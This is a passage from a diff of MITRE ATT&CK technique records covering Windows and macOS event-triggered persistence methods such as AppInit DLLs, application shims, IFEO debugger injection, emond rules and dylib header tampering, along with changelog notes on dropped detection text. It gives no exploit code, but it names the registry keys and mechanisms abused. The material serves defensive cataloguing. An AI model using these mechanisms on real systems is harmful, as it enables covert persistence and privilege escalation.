Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \\n-\\n-Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0362: Detection Strategy for AppCert DLLs Persistence via Registry Injection"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:52:25.589000+00:00",
+ "modified": "2025-10-24 17:49:24.008000+00:00",
+ "name": "AppInit DLLs",
+ "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/010",
+ "external_id": "T1546.010"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "AppInit Registry",
+ "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
+ "url": "https://support.microsoft.com/en-us/kb/197571"
+ },
+ {
+ "source_name": "AppInit Secure Boot",
+ "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
+ "url": "https://msdn.microsoft.com/en-us/library/dn280412"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.2",
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+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0557: Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:56:24.231000+00:00",
+ "modified": "2025-10-24 17:48:42.703000+00:00",
+ "name": "Application Shimming",
+ "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/011",
+ "external_id": "T1546.011"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "FireEye Application Shimming",
+ "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.",
+ "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf"
+ },
+ {
+ "source_name": "Black Hat 2015 App Shim",
+ "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
+ "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
+ }
+ ],
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.703000+00:00\", \"old_value\": \"2025-04-25 14:46:29.459000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\\n\\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\\n* Shim-Detector-Lite - detects installation of custom shim databases\\n* Shim-Guard - monitors registry for any shim installations\\n* ShimScanner - forensic tool to find active shims in memory\\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\\n\\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\\n-\\n-* Shim-Process-Scanner - checks memory of every running process for any shim flags\\n-* Shim-Detector-Lite - detects installation of custom shim databases\\n-* Shim-Guard - monitors registry for any shim installations\\n-* ShimScanner - forensic tool to find active shims in memory\\n-* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\\n-\\n-Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1051: Update Software",
+ "M1052: User Account Control"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0017: Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 13:40:47.282000+00:00",
+ "modified": "2025-10-24 17:49:07.854000+00:00",
+ "name": "Change Default File Association",
+ "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/001",
+ "external_id": "T1546.001"
+ },
+ {
+ "source_name": "Microsoft Change Default Programs",
+ "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
+ "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
+ },
+ {
+ "source_name": "Microsoft File Handlers",
+ "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015"
+ },
+ {
+ "source_name": "Microsoft Assoc Oct 2017",
+ "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
+ "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"
+ },
+ {
+ "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
+ "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
+ "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Travis Smith, Tripwire",
+ "Stefan Kanthak"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.854000+00:00\", \"old_value\": \"2025-04-15 19:58:52.605000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\\n\\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\\n\\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\\n-\\n-User file association preferences are stored under [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\\n-\\n-Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0061: Detect Default File Association Hijack via Registry & Execution Correlation on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 15:15:13.426000+00:00",
+ "modified": "2025-10-24 17:49:08.766000+00:00",
+ "name": "Emond",
+ "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/014",
+ "external_id": "T1546.014"
+ },
+ {
+ "source_name": "magnusviri emond Apr 2016",
+ "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
+ "url": "http://www.magnusviri.com/Mac/what-is-emond.html"
+ },
+ {
+ "source_name": "xorrior emond Jan 2018",
+ "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
+ "url": "https://www.xorrior.com/emond-persistence/"
+ },
+ {
+ "source_name": "sentinelone macos persist Jun 2019",
+ "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
+ "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Ivan Sinyakov"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0555: Detection Strategy for Event Triggered Execution via emond on macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 15:05:58.384000+00:00",
+ "modified": "2025-10-24 17:48:55.526000+00:00",
+ "name": "Image File Execution Options Injection",
+ "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
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+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/012",
+ "external_id": "T1546.012"
+ },
+ {
+ "source_name": "FSecure Hupigon",
+ "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
+ "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "Microsoft Silent Process Exit NOV 2017",
+ "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
+ "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
+ },
+ {
+ "source_name": "Microsoft GFlags Mar 2017",
+ "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
+ "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
+ },
+ {
+ "source_name": "Oddvar Moe IFEO APR 2018",
+ "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
+ "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
+ },
+ {
+ "source_name": "Microsoft Dev Blog IFEO Mar 2010",
+ "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
+ "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
+ },
+ {
+ "source_name": "Symantec Ushedix June 2008",
+ "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
+ "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
+ },
+ {
+ "source_name": "Tilbury 2014",
+ "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Oddvar Moe, @oddvarmoe"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.526000+00:00\", \"old_value\": \"2025-04-15 19:58:39.823000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\\n\\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\\n-\\n-Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0422: Detection Strategy for IFEO Injection on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:21:52.750000+00:00",
+ "modified": "2025-10-24 17:48:25.182000+00:00",
+ "name": "LC_LOAD_DYLIB Addition",
+ "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/006",
+ "external_id": "T1546.006"
+ },
+ {
+ "source_name": "Malware Persistence on OS X",
+ "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+ },
+ {
+ "source_name": "Writing Bad Malware for OSX",
+ "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
+ "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
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+ "x_mitre_version": "1.1",
